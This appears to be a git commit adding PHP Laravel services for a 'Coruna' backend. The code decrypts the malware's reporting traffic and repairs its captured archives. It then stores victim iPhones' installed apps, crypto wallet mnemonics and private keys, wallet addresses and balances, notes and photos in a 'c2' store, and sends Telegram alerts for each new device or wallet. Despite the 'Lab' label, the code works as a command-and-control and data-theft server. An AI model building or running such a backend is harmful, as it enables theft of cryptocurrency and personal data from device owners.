This commit is contained in:
hashbro
2026-08-04 05:00:42 +08:00
commit ea0be57180
304 changed files with 18921 additions and 0 deletions
+116
View File
@@ -0,0 +1,116 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\Process;
use RuntimeException;
/**
* Repair Coruna obfuscated 7z headers and extract with p7zip.
*/
class CorunaArchive
{
private const STANDARD_PREFIX = "7z\xBC\xAF'\x1C";
private const HEADER_XOR = 0x1234567800ABCDEF;
private const HEADER_MARKER_1 = 0x000A000900010804;
private const HEADER_MARKER_2 = 0x009812000B0F0D0C;
public function __construct(
private readonly CorunaCrypto $crypto,
private readonly string $sevenZip = '/opt/homebrew/opt/p7zip/bin/7z',
) {}
public function isCorunaHeader(string $data): bool
{
if (strlen($data) < 32) {
return false;
}
if (str_starts_with($data, self::STANDARD_PREFIX)) {
return false;
}
$m1 = unpack('P', substr($data, 16, 8))[1];
$m2 = unpack('P', substr($data, 24, 8))[1];
return $m1 === self::HEADER_MARKER_1 && $m2 === self::HEADER_MARKER_2;
}
public function repairHeader(string $data): string
{
if (str_starts_with($data, self::STANDARD_PREFIX)) {
return $data;
}
if (strlen($data) < 33 || ! $this->isCorunaHeader($data)) {
throw new RuntimeException('not a Coruna header-obfuscated 7z archive');
}
$nextHeaderOffset = unpack('P', substr($data, 0, 8))[1] ^ self::HEADER_XOR;
$nextHeaderSize = unpack('P', substr($data, 8, 8))[1] ^ self::HEADER_XOR;
$nextHeaderStart = 32 + $nextHeaderOffset;
$nextHeaderEnd = $nextHeaderStart + $nextHeaderSize;
if ($nextHeaderSize === 0 || $nextHeaderEnd > strlen($data)) {
throw new RuntimeException('invalid Coruna 7z bounds');
}
$repaired = $data;
$repaired = substr_replace($repaired, self::STANDARD_PREFIX."\x00\x04", 0, 8);
$repaired = substr_replace($repaired, pack('P', $nextHeaderOffset), 12, 8);
$repaired = substr_replace($repaired, pack('P', $nextHeaderSize), 20, 8);
$nextCrc = crc32(substr($repaired, $nextHeaderStart, $nextHeaderSize)) & 0xFFFFFFFF;
$repaired = substr_replace($repaired, pack('V', $nextCrc), 28, 4);
$startCrc = crc32(substr($repaired, 12, 20)) & 0xFFFFFFFF;
$repaired = substr_replace($repaired, pack('V', $startCrc), 8, 4);
return $repaired;
}
public function extract(string $wireData, string $destDir, string $batchBase = '0'): array
{
if (! is_dir($destDir)) {
mkdir($destDir, 0755, true);
}
try {
$repaired = $this->repairHeader($wireData);
} catch (\Throwable $e) {
$repaired = $wireData;
}
$archive = $destDir.'/capture.7z';
file_put_contents($archive, $repaired);
file_put_contents($destDir.'/wire.bin', $wireData);
$password = $this->crypto->archivePassword($batchBase);
$membersDir = $destDir.'/members';
@mkdir($membersDir, 0755, true);
$bin = is_executable($this->sevenZip) ? $this->sevenZip : '7z';
$result = Process::timeout(120)->run([
$bin, 'x', '-y',
'-p'.$password,
'-o'.$membersDir,
$archive,
]);
$files = [];
if (is_dir($membersDir)) {
$it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator(
$membersDir,
\FilesystemIterator::SKIP_DOTS
));
foreach ($it as $file) {
if ($file->isFile()) {
$files[] = $file->getPathname();
}
}
}
return [
'ok' => $result->successful() && count($files) > 0,
'stderr' => $result->errorOutput(),
'files' => $files,
'password_recipe' => 'session_key||'.$batchBase,
];
}
}
+234
View File
@@ -0,0 +1,234 @@
<?php
namespace App\Services;
use RuntimeException;
/**
* Coruna reporting transport crypto (ParamsModel / TTNetwork).
*
* body = Base64(AES-256-ECB-PKCS7(SHA256(session_key||timestamp), timestamp||payload))
*/
class CorunaCrypto
{
private const KEY_STATE_HEX =
'f2e61e583b65753af05b8f6ec65a681fcc6f93d20cca9153ed13133c6c291565';
private const AES_SBOX_HEX =
'637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0'
.'b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275'
.'09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf'
.'d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2'
.'cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb'
.'e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08'
.'ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e'
.'e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16';
private string $sessionKey;
private string $sbox;
public function __construct(?string $sessionKey = null)
{
$this->sbox = hex2bin(self::AES_SBOX_HEX);
$this->sessionKey = $sessionKey ?? $this->deriveSessionKey(0);
if (strlen($this->sessionKey) !== 16) {
throw new RuntimeException('session key must be 16 bytes');
}
}
public function sessionKey(): string
{
return $this->sessionKey;
}
public function deriveArchivePassword(int $seed = 0): string
{
$mask = 0xFFFFFFFF;
$state = hex2bin(self::KEY_STATE_HEX);
$words = array_values(unpack('V8', $state));
if ($seed !== 0) {
$counter = -35;
$accumulator = $seed & $mask;
for ($index = 0; $index < 8; $index++) {
$rotated = $this->ror32($seed, -38 - $counter);
$words[$index] = ($accumulator + ($words[$index] ^ $rotated)) & $mask;
if ($counter === 0) {
break;
}
$counter += 5;
$accumulator = ($accumulator + $seed) & $mask;
}
}
for ($roundIndex = 0; $roundIndex < 12; $roundIndex++) {
$roundNumber = $roundIndex + 1;
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16 — uint64 via BCMath
$roundValue = $this->mulU64Shift16($roundNumber);
for ($index = 0; $index < 8; $index++) {
$value = $words[$index];
$value =
ord($this->sbox[$value & 0xFF])
| (ord($this->sbox[($value >> 8) & 0xFF]) << 8)
| (ord($this->sbox[($value >> 16) & 0xFF]) << 16)
| (ord($this->sbox[($value >> 24) & 0xFF]) << 24);
$value = $this->ror32($value, -$words[($index + 1) & 7]);
$value ^= $this->ror32($words[($index + 3) & 7], 13);
$value = ($value + $roundValue) & $mask;
$words[$index] = $value;
if ($index & 1) {
$words[$index] = (
$this->ror32($words[$index - 1], -($value & 0xF)) ^ $value
) & $mask;
}
}
if ($roundIndex === 5) {
$words[2] ^= 0x7BD6C6C8;
$words[5] ^= 0x5ECAF26A;
} elseif ($roundIndex === 9) {
$previousZero = $words[0];
$words[0] = ($words[7] ^ $this->ror32($previousZero, 25)) & $mask;
$words[3] = ($words[3] + ($words[4] ^ 0xDEADBEEF)) & $mask;
}
}
$packed = pack('V8', ...$words);
$folded = '';
for ($i = 0; $i < 16; $i++) {
$folded .= chr(ord($packed[$i]) ^ ord($packed[$i + 16]));
}
$derived = '';
for ($i = 0; $i < 16; $i++) {
$derived .= $this->sbox[(ord($folded[$i]) + $i) & 0xFF];
}
return bin2hex($derived);
}
public function deriveSessionKey(int $seed = 0): string
{
$raw = hex2bin($this->deriveArchivePassword($seed));
$out = '';
for ($i = 0; $i < strlen($raw); $i++) {
$out .= chr((ord($raw[$i]) % 94) + 33);
}
return $out;
}
public function decryptJsonBody(string $ciphertext, string $timestamp): mixed
{
$this->assertTimestamp($timestamp);
$encrypted = base64_decode($ciphertext, true);
if ($encrypted === false) {
$decoded = json_decode($ciphertext, true);
if (is_string($decoded)) {
$encrypted = base64_decode($decoded, true);
}
}
if ($encrypted === false || $encrypted === '') {
throw new RuntimeException('invalid base64 body');
}
$key = hash('sha256', $this->sessionKey.$timestamp, true);
$padded = openssl_decrypt($encrypted, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
if ($padded === false) {
throw new RuntimeException('AES decrypt failed');
}
$plaintext = $this->pkcs7Unpad($padded);
$prefix = $timestamp;
if (! str_starts_with($plaintext, $prefix)) {
throw new RuntimeException('timestamp prefix mismatch');
}
$json = substr($plaintext, strlen($prefix));
if ($json === 'null') {
return null;
}
return json_decode($json, true, 512, JSON_THROW_ON_ERROR);
}
public function encryptPayload(string $payload, ?string $timestamp = null): array
{
$timestamp ??= (string) (int) round(microtime(true) * 1000);
$this->assertTimestamp($timestamp);
$key = hash('sha256', $this->sessionKey.$timestamp, true);
$plain = $timestamp.$payload;
$padded = $this->pkcs7Pad($plain);
$encrypted = openssl_encrypt($padded, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
if ($encrypted === false) {
throw new RuntimeException('AES encrypt failed');
}
return [
'timestamp' => $timestamp,
'body' => base64_encode($encrypted),
];
}
public function encryptJson(mixed $data, ?string $timestamp = null): array
{
if ($data === null) {
$payload = 'null';
} else {
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return $this->encryptPayload($payload, $timestamp);
}
public function archivePassword(string $batchBaseTimestamp = '0'): string
{
return $this->sessionKey.$batchBaseTimestamp;
}
private function assertTimestamp(string $timestamp): void
{
if (! preg_match('/^\d{13}$/', $timestamp)) {
throw new RuntimeException('timestamp must be 13 digits');
}
}
private function pkcs7Pad(string $data): string
{
$pad = 16 - (strlen($data) % 16);
return $data.str_repeat(chr($pad), $pad);
}
private function pkcs7Unpad(string $data): string
{
$len = strlen($data);
if ($len === 0 || ($len % 16) !== 0) {
throw new RuntimeException('invalid ciphertext length');
}
$pad = ord($data[$len - 1]);
if ($pad < 1 || $pad > 16 || substr($data, -$pad) !== str_repeat(chr($pad), $pad)) {
throw new RuntimeException('invalid PKCS#7 padding');
}
return substr($data, 0, -$pad);
}
private function mulU64Shift16(int $roundNumber): int
{
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16
$product = gmp_mul((string) $roundNumber, '0xAC534878DC48202A');
$masked = gmp_and($product, '0xFFFFFFFFFFFFFFFF');
$shifted = gmp_div_q($masked, 65536);
return (int) gmp_intval($shifted);
}
private function ror32(int $value, int $amount): int
{
$value &= 0xFFFFFFFF;
$amount &= 31;
if ($amount === 0) {
return $value;
}
return (($value >> $amount) | (($value << (32 - $amount)) & 0xFFFFFFFF)) & 0xFFFFFFFF;
}
}
+356
View File
@@ -0,0 +1,356 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class IngestService
{
public function __construct(private readonly TelegramNotifier $telegram) {}
/**
* Stable device id — currently only from payload `d` / `f`.
* Other fields will be added when confirmed in live traffic.
*/
public function extractDeviceKey(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['d', 'f'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return substr($payload[$key], 0, 64);
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
if (! $deviceKey) {
return null;
}
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
$attrs = [
'ip' => $request->ip(),
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
if ($deviceModel !== null) {
$attrs['device_model'] = $deviceModel;
} elseif ($existing) {
$attrs['device_model'] = $existing->device_model;
}
if ($ios !== null) {
$attrs['ios_version'] = $ios;
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
}
return $device;
}
/**
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
*/
public function ingestInstalledApps(Device $device, ?array $payload): void
{
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
return;
}
$walletBundles = config('coruna.wallet_bundles', []);
foreach ($payload['al'] as $item) {
if (! is_array($item)) {
continue;
}
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
$version = isset($item['v']) ? (string) $item['v'] : null;
if ($bundle === '') {
continue;
}
$isWallet = in_array($bundle, $walletBundles, true)
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundle],
[
'name' => $name,
'version' => $version,
'is_wallet' => $isWallet,
'meta_json' => $item,
]
);
}
}
/**
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
*/
public function ingestDeviceEvent(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
$desc = $payload['desc'] ?? $payload['description'] ?? null;
if ($eventName === null && $desc === null) {
return;
}
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
$contextJson = null;
if (is_array($ctx)) {
$contextJson = $ctx;
} elseif ($ctx !== null) {
$contextJson = ['value' => $ctx];
}
DeviceEvent::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'event_name' => is_string($eventName) ? $eventName : null,
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
'context_json' => $contextJson,
]);
}
public function ingestWalletSecrets(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$mnemonic = null;
$priv = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
$mnemonic = $payload[$key];
break;
}
}
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
$priv = $payload[$key];
break;
}
}
if ($mnemonic === null && $priv === null) {
if (isset($payload['result']) || isset($payload['data'])) {
Wallet::query()->create([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
}
return;
}
$wallet = new Wallet([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
$wallet->mnemonic = $mnemonic;
$wallet->privkey = $priv;
$wallet->save();
}
public function ingestAddresses(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$rows = [];
if (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
} else {
$rows = $this->normalizeAddressRows($payload);
}
foreach ($rows as $row) {
$address = $row['address'] ?? null;
if (! $address || ! is_string($address)) {
continue;
}
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('chain', $chain)
->first();
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
[
'balance' => $balance,
'symbol' => $symbol,
'meta_json' => $row,
]
);
if (! $existing) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$addr->telegram_notified = true;
$addr->save();
} elseif ($balance !== null && $existing->balance !== $balance) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
}
}
}
public function ingestNotes(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
if (! is_array($notes)) {
Note::query()->create([
'device_id' => $device->id,
'title' => 'raw',
'body' => null,
'meta_json' => $payload,
]);
return;
}
$list = array_is_list($notes) ? $notes : [$notes];
foreach ($list as $note) {
if (! is_array($note)) {
continue;
}
Note::query()->create([
'device_id' => $device->id,
'title' => $note['title'] ?? $note['name'] ?? null,
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
'meta_json' => $note,
]);
}
}
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
{
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'counters_json' => $counters,
]);
}
}
private function extractDeviceModel(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['deviceModel'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
return $payload['m'];
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info)) {
foreach (['productType', 'machine', 'model'] as $key) {
if (! empty($info[$key]) && is_string($info[$key])) {
return $info[$key];
}
}
}
return null;
}
private function extractIosVersion(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
// /api/user/get uses `v` for iOS version
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
return $payload['v'];
}
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
$sv = $payload['systemVersion'] ?? null;
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
return $sv['ProductVersion'];
}
if (is_string($sv) && $sv !== '') {
return $sv;
}
return null;
}
private function looksLikeMnemonic(string $value): bool
{
$words = preg_split('/\s+/', trim($value)) ?: [];
return in_array(count($words), [12, 15, 18, 21, 24], true)
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
}
private function normalizeAddressRows(array $data): array
{
if (array_is_list($data)) {
return array_values(array_filter($data, 'is_array'));
}
if (isset($data['address'])) {
return [$data];
}
$out = [];
foreach ($data as $value) {
if (is_array($value) && isset($value['address'])) {
$out[] = $value;
}
}
return $out;
}
}
+60
View File
@@ -0,0 +1,60 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TelegramNotifier
{
public function enabled(): bool
{
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
}
public function send(string $text): bool
{
if (! $this->enabled()) {
return false;
}
$token = config('coruna.telegram.bot_token');
$chatId = config('coruna.telegram.owner_chat_id');
try {
$resp = Http::timeout(15)->asForm()->post(
"https://api.telegram.org/bot{$token}/sendMessage",
[
'chat_id' => $chatId,
'text' => $text,
'disable_web_page_preview' => true,
]
);
return $resp->successful();
} catch (\Throwable $e) {
Log::warning('telegram send failed: '.$e->getMessage());
return false;
}
}
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'[Coruna Lab] New device',
'id: '.$deviceId,
'ios: '.($ios ?: '—'),
'ip: '.($ip ?: '—'),
]));
}
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
{
$this->send(implode("\n", [
'[Coruna Lab] New wallet address',
'device: '.$deviceId,
'chain: '.($chain ?: '—'),
'address: '.$address,
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
]));
}
}